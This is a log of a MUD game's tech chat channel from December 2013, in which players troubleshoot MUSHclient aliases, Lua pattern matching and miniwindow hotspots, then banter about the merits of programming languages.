T3/r7/2013-12-06.txt.gz:{chan ch=tech}Lukesmart Tech: I'm only here because nelson mandela is on every local station:|
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Zade Tech: and as for email, i check that once a month - tedious chore junking most of the crap
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Zade Tech: do the senders actually expect recipients to read the email ?!?  ;|
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Lukesmart Tech: I'm on my accounts settings now, I have notifications for every tweet
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Lukesmart Tech: looks like I can set it to people I follow/everyone/off
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: what is the notification?  an sms text?  a weekly email summary?
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Lukesmart Tech: kojiro just go to notifications and set it on
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: I live on email, so it's highly annoying to the point of uselessness if twitter has no integration
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Lukesmart Tech: its like a short sms that alerts you of any new tweets
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: I don't want that :(  I figure the people I follow will post 25 tweets a day
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: I want to review them all daily, not ping by ping or 100 every week
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Lukesmart Tech: I have windows phone version i'm sure all smart phones will have notifications
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: oh, i don't have a twitter app, maybe i'll check that out
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Lukesmart Tech: mmm you could get a friend to script an app for you with different settings
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: if i had software friends, and they had nothing better to do, but i don't and my friends have way better things to do :(
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Lukesmart Tech: I know one guy, lol he likes to troll alot though
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Lukesmart Tech: I wouldn't trust S.A scripters aswell, our game developers are creating a new game that looks like its origin was from red riding wood
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Comanchee Tech: recently I've been starting to randomly get "they aren't here" messages.  I don't seem to have any triggers that would lead to this.  Could there be other options for why this is happening?
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Shinwoo Tech: for whatever reason I try to xrt to amusement park and it wants to go to the upper lower/planes is there a way to alleviate this issue?
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Zovolo Tech: can someone please remind me how to delete an alias off mushclient's alias list?  I think I use bigger fonts so I can't see the delete button.  I tried alt-D
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Cryos Tech: have you tried the del button?
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Cryos Tech: if you can get to the alias list (cntl+shift+9) select the alias you want to remove, there is a "remove" button in the lower left
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Zovolo Tech: that's what I couldn't see
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Zovolo Tech: was able to alt-d ...
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Ayon Tech: Can anyone see why this wouldn't work? ^mtf (?P<mob>.*?)
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Ayon Tech: the Alias fires, but w.mob is nil.
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Negader Tech: I don't know how that thing works, but I have something similar, but it has a $ at the end
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: w = 3rd argument in your function?
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Ayon Tech: yes, function xxx(n,l,w)
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: The closing $ isn't necessary when ending in a wildcard
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: That just means "end of line"
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Ayon Tech: it's the damndest thing, but I am on my laptop, and things just seem to not be working right...
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Ayon Tech: and now that one...
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Ayon Tech: however, i have another one ^mt(?P<cmd>[sodp]{1}?) which is working fine
T3/r7/2013-12-06.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: your capture is lazy, it's matching on nothing
T3/r7/2013-12-06.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: either remove the ? or anchor it to the end of the line
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Ayon Tech: aahh, that would explain it.
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Ayon Tech: Yup, that fixed it.
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Ayon Tech: Thanks Myrkul!
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: s/Myrkul/RegexGod/g;
T3/r7/2013-12-06.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: np :)
T3/r7/2013-12-06.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: lol
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Ayon Tech: I think you meant :%s/ etch
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Ayon Tech: okay, can anyone tell my which this doesn't work: mto
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Ayon Tech: sorry, this: string.gmatch( string.lower(r.name) , w.mob)
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Ayon Tech: it always returns true...
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: r.name.gmatch(w.mob)
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Ayon Tech: that wasn't working...
T3/r7/2013-12-06.txt.gz:{chan ch=tech}SecretImm Anaristos Tech: actually r.name:gmatch(w.mob)
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Book of Etzli Tech: r.name:gmatch, I thought.
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: err r.name:gmatch()
T3/r7/2013-12-06.txt.gz:{chan ch=tech}SecretImm Anaristos Tech: you might have to do it this way (r.name):gmatch(w.mob)
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: What's your full statement?
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Don't need from "then" to "end" just everything before
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Ayon Tech: this is it: lname = string.lower(r.name)
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Ayon Tech: if lname:gmatch(w.mob) then
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Ayon Tech: still always returns true...
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Book of Etzli Tech: Keep in mind that gmatch isn't looking for complete matches. str:gmatch("es") will match on "Testing"
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Tech: Om Nom Nom Cheezburger nods at Book of Etzli.
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: It just means 'does this contain'
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Ayon Tech: exactly, but how is: string.gmatch("a hawk","grub") ever true?
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: If you want them to exactly equal then just do if (lname == w.mob) then
T3/r7/2013-12-06.txt.gz:{chan ch=tech}SecretImm Anaristos Tech: besides gmatch returns an iterator, the "true" is inconsequential.
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Ayon Tech: I am looking for a cheap strstr? is there some other way to do it?
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Ayon Tech: match not gmatch
T3/r7/2013-12-06.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: you're looking for string.find i think... http://lua-users.org/wiki/StringLibraryTutorial
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Tech: SecretImm Anaristos rapidly nods twice at The Reaper Myrkul, in complete agreement.
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: string.find just returns an index of the match inside the string
T3/r7/2013-12-06.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: match if you're using patterns
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Ayon Tech: ahh, find!
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Ayon Tech: like stl :)
T3/r7/2013-12-06.txt.gz:{chan ch=tech}SecretImm Anaristos Tech: obj:find(pattern)
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: If it returns 0|false|nil then it didn't find it
T3/r7/2013-12-06.txt.gz:{chan ch=tech}SecretImm Anaristos Tech: string.find is the equivalent of C#'s string.Contains()
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Ayon Tech: interesting enough: string.find("a grub","grub") wasn't working
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Bah, I must be confusing my languages again
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Ayon Tech: but string.match does work.
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: do print(string.find('a grub', 'grub'))
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: it does return the begin and end index of the match
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Ayon Tech: maybe it's not working with my if statement...
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: //print(string.find('a grub', 'grub')) ==> 3 6
T3/r7/2013-12-06.txt.gz:{chan ch=tech}SecretImm Anaristos Tech: string.find found it, it should have returned a pair of numbers representing the start and end of the capture. x,y = obj:find(pattern)
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Ayon Tech: I love all the surprising features of Lua :)
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: //print(string.find('a grub', 'grb')) ==> 3 6
T3/r7/2013-12-06.txt.gz:{chan ch=tech}SecretImm Anaristos Tech: anyway, 4 minutes to the party :)
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: ack, wrong up arrow to modify :P
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Ayon Tech: weird...
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: And will return nil (which is false in Lua) if not found
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Ayon Tech: now find does work. That's it...I'm gonna pull my hair out.
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: So inside an if, which returns true for any non 0, false, or nil value, it will always return true if found, and false if not
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Ayon Tech: I probably didnt' reload the file or something.
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Yeah, sometimes it'll do that. One way to force a reload is to alt_enter -> scripts -> toggle enable scripting -> ok -> alt_enter -> re-enable scripting -> ok
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Cryos Tech: faster to hit ctrl+shift+r to reload scripts
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Didn't know that shortcut, thanks :P
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: That'll save me time in the future :)
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Zovolo Tech: I found out how to delete aliases without having access to the "buttons" in mushclient.  ALT-R (not ALT-D) hahaha
T3/r7/2013-12-06.txt.gz:{chan ch=tech}Ayon Tech: I thought I did Ctrl+S+r but apparently, my fat fingers messed even that up..
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: As convoluted as it sounds, I honestly prefer to not use MUSH's aliases. I send all user input to an alias that parses it for me, so if I want to remove an alias it becomes easy to do it from the command line using // (my script prefix) and modify my table containing my actual aliases
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: I create them all from a script...
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Zovolo Tech: I think your way is a clean way to do it 
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: it's easier to carry a single script that sets everything up the way I like...
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Exactly
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Lua's already small enough, for the most part I don't need to modulize it
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Zovolo Tech: I haven't started looking at how to do it yet...
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: I just have global meta table containing my alias names, that point to a referenced table containing the functions to execute, then I can just do //ralias(<alias_name>) and it de-populates it from the metatable
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Then to actually call an alias, I just send the input to the equivalent of (too lazy to open the editor and grab the real command) --> if (user_input == aliases[command]) then Execute(r_aliases[aliases[command]][name]) end
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Zovolo Tech: I will log all these to read later, now it's time to celebrate 
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: While it took some time to cook up, I find it quicker/cleaner than using MUSH's built in aliasing system
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: I just do it because I am a programmer. I like programming. It's just more fun and more powerful, and keeps you in shape...
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Nods, I program all day long for work, but I don't get to work with Lua, so I like to tweek/hack what I can in Lua because overall I find it to be a very beautiful language
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: it's one of the more interesting language out there.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Hell, I don't know of a single builtin command in lua I haven't overridden at some point or another just for the hell of it
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: but the documentation is really really bad.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Also highly embeddable
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: that's what it was designed for.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: lua-rocks.com, lua.com/pil/ good a start as any
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: might be lua-rocks.org, actually
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Tech: Om Nom Nom Cheezburger nods at Ayon.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Also really really fun for WoW and Minecraft addons :)
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: don't get me wrong, on a scale of 1 to COBOL it's rad.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: lol, cobol
T3/r7/2013-12-07.txt.gz:{chan ch=tech}SecretImm Anaristos Tech: the most surprising feature of Lua is its ability to access the .NET framework. I use it all the time to use features from WPF.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: I'd say on a scale from 1 to assembly :P
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: COBOL isn't all that bad really...
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: I find I end up just doing it myself alot in Lua.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}SecretImm Anaristos Tech: well, assembly is the most beautiful language, but I am not going to get into an argument :>
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Never really played with Lua + .NET ... but then again I don't like proprietary crap
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: like split and join
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: Depends whether you mean AT&T syntax or Intel.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Yeah, but in a Language like lua, you already know how splits and joins are going to be done, and it's easy to emulate
T3/r7/2013-12-07.txt.gz:{chan ch=tech}SecretImm Anaristos Tech: you are welcome to develop graphical apps from scratch, Chico. I'd rather spend my time doing something practical.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: *cough* tkinter *cough*
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: oh gawd
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: I actually had a ball with MiniWindows.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: I do most of my stuff in Java anyways :P And a weird combination of Perl/XML/JS for work :P
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: I like plain ol C.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: C is great, but I'm not a huge fan of all the low level management
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Give me automatic garbage collection any day
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Cryos Tech: wish i could get php working with mush, doesnt play nicely
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Lol, you're the first I've heard of even trying, Cyros :P
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: You program Java. that's a mantra for Java programmers, but you do have to mem manage in Java too, if you want performance...Or so I have heard.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: Nah, I tried to get PHP to work with MUSH ages ago.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: it's easier to embed than Ruby at least.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Don't get me wrong, I like PHP ... but PHP in MUSH is most definitely a first for me
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: PHP is the most glorious piece of shit in the world. It is such a bad language, you have to love it.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Definitely Defines Tech: i prefer javascript for mush.. just a personal preference, because im a js ninja. I enjoy lua as well, though
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Definitely Defines Tech: haha ayon that is a beautiful statement
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: I'm pretty good with JS myself, but I find Lua to be uber more flexible overall
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: I like perl in that it's syntactically similar to PHP with 100x the power/flexibility :P
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Definitely Defines Tech: I dont feel that way but probably just more comfortable with js from experience
T3/r7/2013-12-07.txt.gz:{chan ch=tech}SecretImm Anaristos Tech: well, it's a toss up with me. I think JS is pretty flexible, too.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: from a design standpoint they aren't so different, but JS offers a bit more of a mature object oriented experience, is very fast, and very easy to use.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ullin Tech: you are not a real programmer if you haven't written a perfect square program in APL
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Oladon Tech: ... "because it's syntactically similar to PHP" should NEVER be a reason to like something.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Definitely Defines Tech: hehe
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: The original PHP parser was written in PERL
T3/r7/2013-12-07.txt.gz:{chan ch=tech}SecretImm Anaristos Tech: so you are anceint, Llin, we get it :)
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Definitely Defines Tech: that is sure true oladon
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: Good point Oladon.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Except that I got my start on PHP, so syntactical similarity was a quick way to learn it
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ullin Tech: with APL in mush, you can write a bot in 3 lines of code  :)
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Definitely Defines Tech: good tools are good tools. the best tool for the task at hand is the one that gets it done efficiently while minimizing tech debt
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Who needs 3 lines :P
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: and then get banned...
T3/r7/2013-12-07.txt.gz:{chan ch=tech}SecretImm Anaristos Tech: I've been using js since release 1. Compare to that release, using it now is a breeze :)
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Definitely Defines Tech: a good programmer is a lazy programmer
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Definitely Defines Tech: hah... thats an understatement lol
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: at this point in the game, there are enough scripting languages that you can be choosy
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Take it from someone previously nuked for a Lua bot ... DON'T DO IT
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: the only reason I use PHP is because Ruby is a pain in the arse to deploy
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: And worse to scale
T3/r7/2013-12-07.txt.gz:{chan ch=tech}SecretImm Anaristos Tech: I prefer to supplement my scripts with C# apps.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Definitely Defines Tech: lol
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Definitely Defines Tech: I've learned to loves me some c#
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Ask Oladon, she caught me :P
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: don't get me started on Ruby and scaling. Or ROR, that's a joke.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Definitely Defines Tech: four years ago I would've smacked myself for saying that
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: whoever though MVC was good for a stateless medium was an idiot.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: I joke I laugh at every day with all my RoR developers at work :P
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: oh, his name was DHH.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}SecretImm Anaristos Tech: C# offers a good background enviroment to do peon labor, freeing the client to access the mud without slowing it down.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: So while we've got a good base of coders here ... who's got an opinion on FORTRAN :P
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Tech: Om Nom Nom Cheezburger runs away in utter terror!
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ullin Tech: that's really really really a low blow
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Tech: Om Nom Nom Cheezburger snickers softly.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: Actually I like Fortran.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}SecretImm Anaristos Tech: I think that for a mainframe FORTRAN is quite useful. The micro implementations have usually sucked.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: I use it to help my dad.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Arnica Tech: I'm the only one that old, prolly
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: He does physics/math programming with it.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: And I find that the developers who use it, don't understand scalability at all :P
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: using DISLIN etc.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}SecretImm Anaristos Tech: FORTRAN is ageless. Just because the newer generation won't use it doesn't mean it's not useful.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Pfft, I'm 21 ... i've still used and abused everything from assembly to GoLang, including fortran, cobol, etc
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: I think it's a great language, just not for GUI.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: I AM the newer generation :P
T3/r7/2013-12-07.txt.gz:{chan ch=tech}SecretImm Anaristos Tech: at least FORTRAN won't genearte excutables in  megabyte sizes.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: if you need hardcore math, matrix manipulation and vector manipulation it's great
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Yes, but it's not exactly effecient for large scale projects :P
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ullin Tech: was quite popular at uni for statistical stuff, before commercial packages
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Larger executable files != effeciciency statistic
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: it depends what you mean
T3/r7/2013-12-07.txt.gz:{chan ch=tech}SecretImm Anaristos Tech: actually it was extended by IBM so that the compailer was bootstrapped.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ullin Tech: now you can get pretty optimized stuff...like OX
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: most of Nasa's code is in fortran
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: even though people tried to use LISP
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: That doesn't say much, Ayon. They sent us to the moon on less power in a low-end phone :P
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ullin Tech: that's why nasa stuff tends to blow up
T3/r7/2013-12-07.txt.gz:{chan ch=tech}SecretImm Anaristos Tech: the current FORTRAN compiler was written in FORTRAN. So it is more flexible than it appears.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: s/in/than is in/
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: Fortran is, as far as I know, Turing Complete.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Arnica Tech: It made a great telemetry decomm language, and I had absolutely zero worries about internet security vulnerabilities at that time :)
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Speaking of security vulns ... and coming from a primary Java developer ... oracle killed Java.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: I'm so ready for GoLang to replace java, and I truly do believe that eventually it will
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: oracle kills everything, I am just waiting for them to screw MySQL too.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}SecretImm Anaristos Tech: as far as I am concerned, Java was DOA anyway.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Arnica Tech: Sun killed Java, they gave it to Oracle
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: Yeah, Go is very promising, but so effing ugly.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: Ugly to read, but not to write once you've gotten the hang of it
T3/r7/2013-12-07.txt.gz:{chan ch=tech}SecretImm Anaristos Tech: their emulator is a pig.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: I mean, Go is a massive collection of the best ideas implemented by people without a lick of style.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Vexthorne Tech: I had to look up directions on how to get java to uninstall old versions for it to properly install a new version...
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: The learning curve will be steep as all hell for a non-developer trying to get their feet wet, though
T3/r7/2013-12-07.txt.gz:{chan ch=tech}SecretImm Anaristos Tech: at least C# gets compiled into quisi-executable code.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: The GoPlayground has proven to be massively great, especially for teaching it to new people, though
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I think the parts I built my computer out of came with a 'service call' trigger built-in... every 3-4 months, one of my SSDs fails until I reseat the SATA cable. Nothing wrong with the disk, and aside from that the mobo works fine.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: Anyone know a bit about hotspots/
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: sometimes my hotspots don't show up
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: but it seems to be pretty random, and AddHotspot return eOk.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: You need to make sure your coords are right - try creating a visible rectangle with the same coords, and see if it shows up.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: did that, the rects are right
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: unless they have to be perfect? But then why do say 9/10 work, and there's just 1 that doesn't want to show.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: What do you mean perfect? Either the rectangle shows or it doesn't, and where it is visible the hotspot should also appear
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: I made the hit area slightly larger than the text
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: from my limited understanding, this shouldn't be a problem.
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Right, but if you draw a rectangle with EXACTLY the same coords as the hotspot that is missing, what happens?
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: it is exactly placed and sized the way it should be
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: and then I made them clickable, and they are all clickable except for the trouble hotspot that just won't work
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: they also have tool tips, and the tooltips show
T3/r7/2013-12-07.txt.gz:{chan ch=tech}Ayon Tech: except for the trouble one
